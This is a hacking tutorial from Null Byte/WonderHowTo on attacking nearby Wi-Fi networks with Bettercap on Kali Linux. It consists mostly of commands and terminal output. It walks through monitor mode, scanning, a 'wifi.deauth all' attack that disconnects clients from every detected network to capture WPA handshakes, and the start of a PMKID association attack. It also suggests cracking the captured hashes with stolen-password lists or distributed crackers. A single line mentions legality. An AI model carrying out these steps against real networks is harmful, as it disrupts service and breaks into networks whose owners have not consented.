How to Hack Wi-Fi Networks with Bettercap « Null Byte :: WonderHowTo

There are many tools out there forWi-Fi hacking, but few are as integrated and well-rounded as Bettercap. Thanks to an impressively simple interface that works even over SSH, it's easy to access many of the most powerful Wi-Fi attacks available from anywhere. To capture handshakes from both attended and unattended Wi-Fi networks, we'll use two of Bettercap's modules to help us search for weak Wi-Fi passwords.Wi-Fi Hacking FrameworksThe idea of organizing tools into useful frameworks isn't new, but there are many ways of doing it. Frameworks likeAirgeddoninclude an incredible amount of bleeding-edge Wi-Fi hacking tools but cannot be used over a command line. That's because Airgeddon requires the ability to open new windows for different tools to run, so if you're communicating with aRaspberry Piover SSH, you can forget launching many Wi-Fi hacking tools.Don't Miss:Crack Weak Wi-Fi Passwords in Seconds with AirgeddonBettercap allows access to the tools needed to swiftly scout for targets, designate one, and grab a WPA handshake to brute-force. While we won't be working with any WPS recon modules today, our setup will allow you to audit for weak WPA passwords with ease. The way Bettercap is organized allows for anyone within proximity of a target to probe for weak WPA passwords while staying stealthy and undetected.WPA Hacking with BettercapBettercap is described as the Swiss Army knife of wireless hacking. To that end, it has a lot of modules for sniffing networks after you connect to them, as well asother modules looking at Bluetooth devices. The most straightforward use of Bettercap is to use the scanning and recon modules to identify nearby targets to direct attacks at, then attempt to identify networks with weak passwords after capturing the necessary information.Our targets, in this case, will be two kinds of networks: attended and unattended. Attended networks are easier to attack, and a larger number of tools will work against them. With an attended network, there are people actively using it to download files, watch Netflix, or browse the internet. We can count on there being devices to kick off the network that will give us the information we need to try to crack the password.Don't Miss:Build a Software-Based Wi-Fi Jammer with AirgeddonUnattended networks are trickier to target. Because they do not have devices with an active data connection on them to disconnect, these networks were typically unable to yield the information needed to audit for a weak password. With the PMKID approach to cracking WPA passwords, that's no longer the case. The tool is integrated as one of the Wi-Fi hacking modules and makes it even easier to attack.Brute-Forcing Power WorkaroundsBettercap doesn't directly break the passwords of networks it targets, but it would be impossible to do so without the information Bettercap provides. Once a handshake is captured, you'll need to use a brute-forcing tool likeHydraorAircrack-ngto try a list of common passwords against the hash you've captured. How quickly it will happen depends on a few factors.The first is whether the password used to secure the target network is in the password list you're using at all. If it isn't, this attack won't succeed, so it's essential to use lists of real stolen passwords or customized password generators likeCUPP. If you don't believe that brute-force attacks are still effective, you'd be surprised to learn thatany eight-character password can be brute-forced in a little over two hours.Don't Miss:Load Kali on the Raspberry Pi 4 for a Mini Hacking StationAnother workaround to using a device like aRaspberry Pi for Wi-Fi hackingis to upload the WPA handshake to a cracking service or network. Many hackersuse networks that distribute the cracking loadamong volunteer "worker" computers, which lets the group crack WPA handshakes that less powerful devices can gather.If you were to run Bettercap on a Raspberry Pi and then upload the captured handshakes to a distributed WPA cracker, you would be able to crack passwords within mere minutes. Alternatively, you could set this up yourself if you have a computer with a powerful processor and GPU.What You'll NeedTo follow this guide, you'll need a wireless network card you can put into wireless monitor mode. You can find a list of these in ourpreviousarticleson buying Wi-Fi network adapters. Your computer may have an internal card that supports wireless monitor mode, but you'll need to be running Linux to work with it. You can refer toour other guideto find out if your existing card will work.More Info:The Best Wireless Network Adapter for Wi-Fi HackingMore Info:Field-Tested Kali Linux Compatible Wireless AdaptersMore Info:Check Your Wireless Card for Monitor Mode & Packet InjectionYou can follow our guide today with Kali Linux on your laptop, a Raspberry Pi running Kali Linux, or even Ubuntu with some additional installation. For best results, you should use Kali Linux, because Bettercap comes preinstalled.Step 1: Install BettercapIf you have Kali Linux installed, you can find it in the "Sniffing & Spoofing" folder in the "Applications" menu or from a search.If you don't have Bettercap, the documentation for the project is onthe Bettercap website. If you're running Kali, you can runapt install bettercapto add it, as seen below. Then, you can locate the tool as seen above.~# apt install bettercap

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following package was automatically installed and is no longer required:
  liblinear3
Use 'apt autoremove' to remove it.
The following additional packages will be installed:
  bettercap-caplets
Suggested packages:
  bettercap-ui
The following NEW packages will be installed:
  bettercap bettercap-caplets
0 upgraded, 2 newly installed, 0 to remove and 1854 not upgraded.
Need to get 6,931 kB of archives.
After this operation, 25.8 MB of additional disk space will be used.
Do you want to continue? [Y/n] Y
Get:1 http://archive.linux.duke.edu/kalilinux/kali kali-rolling/main amd64 bettercap amd64 2.26.1-0kali1 [6,821 kB]
Get:2 http://archive.linux.duke.edu/kalilinux/kali kali-rolling/main amd64 bettercap-caplets all 0+git20191009-0kali1 [110 kB]
Fetched 6,931 kB in 3s (2,332 kB/s)
Selecting previously unselected package bettercap.
(Reading database ... 417705 files and directories currently installed.)
Preparing to unpack .../bettercap_2.26.1-0kali1_amd64.deb ...
Unpacking bettercap (2.26.1-0kali1) ...
Selecting previously unselected package bettercap-caplets.
Preparing to unpack .../bettercap-caplets_0+git20191009-0kali1_all.deb ...
Unpacking bettercap-caplets (0+git20191009-0kali1) ...
Setting up bettercap-caplets (0+git20191009-0kali1) ...
Setting up bettercap (2.26.1-0kali1) ...
bettercap.service is a disabled or a static unit, not starting it.If you're not running Kali, you'll need to refer toBettercap's more complicated setup. If you're on a Mac, you can do network recon, but the modules I'm writing about won't work. Still, you can check out other features by installing it withHomebrew, using the commandbrew install bettercap.Step 2: Launch BettercapWhen ready, click on Bettercap's icon to launch it. You should see the following help menu in a terminal window, although the tool will not automatically start.Usage of bettercap:
  -autostart string
        Comma separated list of modules to auto start. (default "events.stream")
  -caplet string
        Read commands from this file and execute them in the interactive session.
  -cpu-profile file
        Write cpu profile file.
  -debug
        Print debug messages.
  -env-file string
        Load environment variables from this file if found, set to empty to disable environment persistence.
  -eval string
        Run one or more commands separated by ; in the interactive session, used to set variables via command line.
  -gateway-override string
        Use the provided IP address instead of the default gateway. If not specified or invalid, the default gateway will be used.
  -iface string
        Network interface to bind to, if empty the default interface will be auto selected.
  -mem-profile file
        Write memory profile to file.
  -no-colors
        Disable output color effects.
  -no-history
        Disable interactive session history file.
  -silent
        Suppress all logs which are not errors.
  -version
        Print the version and exit.Here, we can see the arguments we can start Bettercap with. One of the most useful of these is-ifacewhich allows us to define which interface to work with. If we have an external wireless network adapter, we'll need to define it with that.Step 3: Connect Your Network Adapter & StartNow, we'll need to put our card into monitor mode. If we're connected to a Wi-Fi network already, Bettercap will start sniffing that network instead, so monitor mode always comes first.Locate your card withifconfigorip ato find the name of your network adapter. It should be something likewlan0for your internal adapter andwlan1for your USB network adapter.~# ifconfig

eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 50:7b:9d:7a:c8:8a  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 38625  bytes 3052647 (2.9 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 38625  bytes 3052647 (2.9 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.5.93  netmask 255.255.255.0  broadcast 192.168.5.255
        inet6  prefixlen 64  scopeid 0x20<link>
        ether   txqueuelen 1000  (Ethernet)
        RX packets 451  bytes 119964 (117.1 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 364  bytes 115672 (112.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan1: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 18:d6:c7:0e:e7:a1  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0Take the adapter that's monitor mode-compatible, andswitch it to monitor modeby opening a terminal window and typingairmon-ng start wlan1, withwlan1substituted with the name of your network adapter.More Info:How to Put Your Wireless Card in Monitor Mode~# airmon-ng start wlan1

Found 3 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

  PID Name
  559 NetworkManager
  621 wpa_supplicant
14785 dhclient

PHY Interface   Driver      Chipset

phy0    wlan0       ath9k       Qualcomm Atheros QCA9565 / AR9565 Wireless Network Adapter (rev 01)
phy3    wlan1       ath9k_htc   Atheros Communications, Inc. AR9271 802.11n

        (mac80211 monitor mode vif enabled for [phy3]wlan1 on [phy3]wlan1mon)
        (mac80211 station mode vif disabled for [phy3]wlan1)You can then typeifconfigorip aagain to verify it started.~# ifconfig

eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 50:7b:9d:7a:c8:8a  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 38645  bytes 3053647 (2.9 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 38645  bytes 3053647 (2.9 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.5.93  netmask 255.255.255.0  broadcast 192.168.5.255
        inet6  prefixlen 64  scopeid 0x20<link>
        ether  txqueuelen 1000  (Ethernet)
        RX packets 490  bytes 126996 (124.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 386  bytes 126911 (123.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan1mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        unspec 18-D6-C7-0E-E7-A1-30-3A-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
        RX packets 1202  bytes 363761 (355.2 KiB)
        RX errors 0  dropped 1176  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0After making sure that your wireless card is in monitor mode, you can start Bettercap by typingsudo bettercap --iface wlan1monin a new terminal window, substituting the "wlan1" portion with your card's name.~# sudo bettercap --iface wlan1mon

bettercap v2.24.1 (built for linux amd64 with go1.12.7) [type 'help' for a list of commands]

wlan1  »Once Bettercap opens, typehelpto see a list of all the modules running and commands. In the modules, you can see that the Wi-Fi module is not started by default.wlan1  » help

           help MODULE : List available commands or show module specific help if no module name is provided.
                active : Show information about active modules.
                  quit : Close the session and exit.
         sleep SECONDS : Sleep for the given amount of seconds.
              get NAME : Get the value of variable NAME, use * alone for all, or NAME* as a wildcard.
        set NAME VALUE : Set the VALUE of variable NAME.
  read VARIABLE PROMPT : Show a PROMPT to ask the user for input that will be saved inside VARIABLE.
                 clear : Clear the screen.
        include CAPLET : Load and run this caplet in the current session.
             ! COMMAND : Execute a shell command and print its output.
        alias MAC NAME : Assign an alias to a given endpoint given its MAC address.

Modules

      any.proxy > not running
       api.rest > not running
      arp.spoof > not running
      ble.recon > not running
        caplets > not running
    dhcp6.spoof > not running
      dns.spoof > not running
  events.stream > running
            gps > not running
     http.proxy > not running
    http.server > not running
    https.proxy > not running
   https.server > not running
    mac.changer > not running
   mysql.server > not running
      net.probe > not running
      net.recon > running
      net.sniff > not running
   packet.proxy > not running
       syn.scan > not running
      tcp.proxy > not running
         ticker > not running
         update > not running
           wifi > not running
            wol > not runningStep 4: Scan for Nearby NetworksTo get started, let's look at the commands we can issue under the Wi-Fi module. We can see this information by typinghelp wifiinto Bettercap.wlan1  » help wifi

wifi (running): A module to monitor and perform wireless attacks on 802.11.

        wifi.recon on : Start 802.11 wireless base stations discovery and channel hopping.
       wifi.recon off : Stop 802.11 wireless base stations discovery and channel hopping.
           wifi.clear : Clear all access points collected by the WiFi discovery module.
       wifi.recon MAC : Set 802.11 base station address to filter for.
     wifi.recon clear : Remove the 802.11 base station filter.
    wifi.deauth BSSID : Start a 802.11 deauth attack, if an access point BSSID is provided, every client will be deauthenticated, otherwise only the selected client. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate every access point with at least one client and start a deauth attack for each one.
     wifi.assoc BSSID : Send an association request to the selected BSSID in order to receive a RSN PMKID key. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate for every access point.
              wifi.ap : Inject fake management beacons in order to create a rogue access point.
  wifi.show.wps BSSID : Show WPS information about a given station (use 'all', '*' or a broadcast BSSID for all).
            wifi.show : Show current wireless stations list (default sorting by essid).
   wifi.recon.channel : WiFi channels (comma separated) or 'clear' for channel hopping.

  Parameters

         wifi.ap.bssid : BSSID of the fake access point. (default=<random mac>)
       wifi.ap.channel : Channel of the fake access point. (default=1)
    wifi.ap.encryption : If true, the fake access point will use WPA2, otherwise it'll result as an open AP. (default=true)
          wifi.ap.ssid : SSID of the fake access point. (default=FreeWiFi)
       wifi.assoc.open : Send association requests to open networks. (default=false)
     wifi.assoc.silent : If true, messages from wifi.assoc will be suppressed. (default=false)
       wifi.assoc.skip : Comma separated list of BSSID to skip while sending association requests. (default=)
      wifi.deauth.open : Send wifi deauth packets to open networks. (default=true)
    wifi.deauth.silent : If true, messages from wifi.deauth will be suppressed. (default=false)
      wifi.deauth.skip : Comma separated list of BSSID to skip while sending deauth packets. (default=)
  wifi.handshakes.file : File path of the pcap file to save handshakes to. (default=~/bettercap-wifi-handshakes.pcap)
       wifi.hop.period : If channel hopping is enabled (empty wifi.recon.channel), this is the time in milliseconds the algorithm will hop on every channel (it'll be doubled if both 2.4 and 5.0 bands are available). (default=250)
           wifi.region : Set the WiFi region to this value before activating the interface. (default=BO)
         wifi.rssi.min : Minimum WiFi signal strength in dBm. (default=-200)
      wifi.show.filter : Defines a regular expression filter for wifi.show (default=)
       wifi.show.limit : Defines limit for wifi.show (default=0)
        wifi.show.sort : Defines sorting field (rssi, bssid, essid, channel, encryption, clients, seen, sent, rcvd) and direction (asc or desc) for wifi.show (default=rssi asc)
      wifi.skip-broken : If true, dot11 packets with an invalid checksum will be skipped. (default=true)
      wifi.source.file : If set, the wifi module will read from this pcap file instead of the hardware interface. (default=)
          wifi.txpower : Set WiFi transmission power to this value before activating the interface. (default=30)Here, we can see lots of options! For our purposes, we'll be selecting the Wi-Fi recon module. To start it, typewifi.recon oninto Bettercap. You'll begin to get a flood of messages as soon as networks start to be detected. If this gets overwhelming, you can typeevents.stream offto mute the alerts.wlan1  » wifi.recon on

[23:01:35] [sys.log] [inf] wifi WiFi region set to 'BO'
[23:01:35] [sys.log] [inf] wifi interface wlan1 txpower set to 30
[23:01:35] [sys.log] [inf] wifi started (min rssi: -200 dBm)
wlan1  » [23:01:35] [sys.log] [inf] wifi channel hopper started
wlan1  » [23:01:35] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:35] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:35] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:36] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:36] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:36] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:36] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:37] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:37] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:37] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:37] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:38] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:38] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:01:38] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:01:39] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:39] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:01:39] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:41] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:41] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:41] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:01:42] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:42] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:01:42] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:01:42] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:42] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:43] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:52] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:52] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:52] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:53] [wifi.client.new] new station ████████████████████████████████████████████████████████████Step 5: Identify TargetsTo see the networks that have been detected, typewifi.showto display a list of networks.wlan1  »  wifi.show

+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| RSSI ▴  |       BSSID       |             SSID              |    Encryption    | WPS | Ch | Clients |  Sent  | Recvd  |   Seen   |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| -55 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (TKIP, PSK) |     | 6  |         |        |        | 23:01:35 |
| -57 dBm | ██:██:██:██:██:██ | █████████████                 | OPEN             |     | 6  | 1       | 400 B  | 66 B   | 23:01:36 |
| -63 dBm | ██:██:██:██:██:██ | ██████                        | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:01:36 |
| -64 dBm | ██:██:██:██:██:██ | ██████████                    | WPA2 (TKIP, PSK) | 2.0 | 5  | 1       | 7.1 kB | 128 B  | 23:01:37 |
| -66 dBm | ██:██:██:██:██:██ | ████████████████              | WPA (TKIP, PSK)  |     | 1  |         |        |        | 23:01:39 |
| -71 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, PSK) |     | 1  |         |        |        | 23:01:35 |
| -72 dBm | ██:██:██:██:██:██ | ████████████████████████████  | WPA2 (CCMP, PSK) |     | 6  |         |        |        | 23:01:35 |
| -81 dBm | ██:██:██:██:██:██ | ████████████████              | OPEN             |     | 11 |         |        |        | 23:01:43 |
| -82 dBm | ██:██:██:██:██:██ | ████████████████████████      | WPA2 (CCMP, PSK) |     | 7  |         |        |        | 23:01:43 |
| -82 dBm | ██:██:██:██:██:██ |                               | WPA2 (CCMP, PSK) | 2.0 | 6  |         | 3.9 kB |        | 23:01:39 |
| -86 dBm | ██:██:██:██:██:██ | ████████████████              | OPEN             |     | 1  | 1       |        | 177 B  | 23:01:35 |
| -86 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, MGT) |     | 1  |         |        |        | 23:01:38 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, PSK) |     | 6  |         |        |        | 23:01:38 |
| -86 dBm | ██:██:██:██:██:██ | ██████████████                | WPA2 (CCMP, PSK) |     | 6  | 1       | 670 B  | 384 B  | 23:01:39 |
| -86 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:01:39 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:01:37 |
| -87 dBm | ██:██:██:██:██:██ | █████████████████████████████ | WPA2 (CCMP, PSK) | 2.0 | 8  |         |        |        | 23:01:36 |
| -87 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  |         | 759 B  |        | 23:01:44 |
| -87 dBm | ██:██:██:██:██:██ | ████████████████████          | OPEN             |     | 6  | 1       | 228 B  | 1.2 kB | 23:01:43 |
| -88 dBm | ██:██:██:██:██:██ | ███████████████████████████   | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:01:44 |
| -88 dBm | ██:██:██:██:██:██ | ██████████████████            | OPEN             |     | 8  |         |        |        | 23:01:41 |
| -88 dBm | ██:██:██:██:██:██ | ███████████████████████████   | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:01:41 |
| -90 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:01:41 |
| -91 dBm | ██:██:██:██:██:██ | ██████████                    | WPA2 (TKIP, PSK) |     | 11 |         |        |        | 23:01:41 |
| -92 dBm | ██:██:██:██:██:██ | ██                            | WPA2 (CCMP, PSK) | 2.0 | 11 |         |        |        | 23:01:35 |
| -92 dBm | ██:██:██:██:██:██ | <hidden>                      | OPEN             |     | 6  |         |        |        | 23:01:37 |
| -92 dBm | ██:██:██:██:██:██ | ████████                      | WPA2 (TKIP, PSK) |     | 11 |         |        |        | 23:01:37 |
| -94 dBm | ██:██:██:██:██:██ | █████████████████████████     | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:01:37 |
| -94 dBm | ██:██:██:██:██:██ | ██████████████████████████    | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:01:42 |
| -95 dBm | ██:██:██:██:██:██ | █████████████████             | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:01:41 |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+

wlan1mon (ch. 12) / ↑ 0 B / ↓ 1.5 MB / 6556 pktsWow, we can see tons of information about the nearby wireless environment around us, such as which networks are strongest and what kinds of encryption they use.You'll notice that all of the networks will be in green (you can't see it in this article, but on yours, you will see green). When we see a network is red (again, not in the box above but you will see it on your end), it means we have a handshake for it and can attempt to brute-force it. Let's start with a tried-and-true method first, and use the deauth module to try to get handshakes.Step 6: Attack with a Deauth AttackTo start the deauth module, you'll typewifi.deauthand then the MAC address of the network you want to attack. If you want to attack every network you've found, you can just typeallor *, but be aware this can be illegal if you're interfering with someone's Wi-Fi that did not permit you to test this tool on it.wlan1  » wifi.deauth all

wlan1  » [23:02:53] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:02:54] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:02:55] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:02:55] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:02:56] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:02:57] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:02:57] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:02:58] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:02:59] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:03:00] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:03:01] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:01] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:02] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:02] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:03:03] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:04] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:04] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:05] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1  » [23:03:05] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1  » [23:03:05] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1  » [23:03:06] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1  » [23:03:06] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1  » [23:03:06] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:03:06] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:06] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:06] [wifi.client.probe] station ████████████████████████████████████████████████████████████After allowing the tool to run for a minute or so, we can see the results by typingwifi.showand seeing if any results have come in red. In our example, we can see that we've managed to grab handshakes for three of the nearby Wi-Fi networks we've detected.wlan1  » wifi.show

+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| RSSI ▴  |       BSSID       |             SSID              |    Encryption    | WPS | Ch | Clients |  Sent  | Recvd  |   Seen   |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| -55 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  | 5       | 12 kB  |        | 23:03:06 |
| -57 dBm | ██:██:██:██:██:██ | █████████████                 | WPA2 (CCMP, PSK) |     | 6  | 1       | 6.5 kB | 66 B   | 23:03:04 |
| -63 dBm | ██:██:██:██:██:██ | ██████                        | WPA2 (CCMP, PSK) |     | 11 | 2       | 1.2 kB |        | 23:03:04 |
| -64 dBm | ██:██:██:██:██:██ | ██████████                    | WPA2 (CCMP, PSK) | 2.0 | 5  | 2       | 7.1 kB | 128 B  | 23:03:02 |
| -71 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, PSK) |     | 1  | 2       | 353 B  |        | 23:03:05 |
| -72 dBm | ██:██:██:██:██:██ | ████████████████████████████  | WPA2 (CCMP, PSK) |     | 6  | 1       | 4.9 kB |        | 23:03:06 |
| -81 dBm | ██:██:██:██:██:██ | ████████████████              | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:03:06 |
| -82 dBm | ██:██:██:██:██:██ | ████████████████████████      | WPA2 (CCMP, PSK) |     | 7  |         |        |        | 23:03:07 |
| -86 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 1  |         |        |        | 23:03:01 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, PSK) |     | 6  |         |        |        | 23:03:02 |
| -86 dBm | ██:██:██:██:██:██ | ██████████████                | WPA2 (CCMP, PSK) |     | 6  |         | 670 B  | 384 B  | 23:03:02 |
| -86 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:03:01 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:03:01 |
| -87 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  |         | 759 B  |        | 23:03:02 |
| -87 dBm | ██:██:██:██:██:██ | ████████████████████          | WPA2 (CCMP, PSK) |     | 6  |         | 228 B  | 1.2 kB | 23:03:04 |
| -88 dBm | ██:██:██:██:██:██ | ███████████████████████████   | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:03:04 |
| -88 dBm | ██:██:██:██:██:██ | ██████████████████            | WPA2 (CCMP, PSK) |     | 8  |         |        |        | 23:03:04 |
| -90 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  |         |        |        | 23:03:06 |
| -91 dBm | ██:██:██:██:██:██ | ██████████                    | WPA2 (TKIP, PSK) |     | 11 |         | 1.7 kB |        | 23:03:04 |
| -92 dBm | ██:██:██:██:██:██ | ██                            | WPA2 (CCMP, PSK) | 2.0 | 11 |         |        |        | 23:03:08 |
| -92 dBm | ██:██:██:██:██:██ | ████████                      | WPA2 (TKIP, PSK) |     | 11 |         |        |        | 23:03:08 |
| -94 dBm | ██:██:██:██:██:██ | ██████████████████████████    | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:03:09 |
| -95 dBm | ██:██:██:██:██:██ | █████████████████             | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:03:09 |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+

wlan1mon (ch. 12) / ↑ 73 kB / ↓ 8.9 MB / 28100 pkts / 2 handshakesThis is a good result, but many of these networks are not attended, as can be seen by the client count section. Notice how this method didn't work against any network that didn't have clients attached? To attack these unattended networks, we'll need to run the second module. To save any handshakes captured, useset wifi.handshakefollowed by the directory you want to save the file in.wlan1  » set wifi.handshakes '/desiredfolderlocation'Step 7: Attack with a PMKID AttackTo begin our attack against unattended networks, we'll typewifi.assocand then the MAC address that we want to attack. If we're going to attack all networks we've detected, typingallor * instead will do so. If you enabledevents.stream offbut want to see the results of this module roll in, you can reenable the event stream by typingevents.stream onand watching for results that look like the following.wlan1  » wifi.assoc all

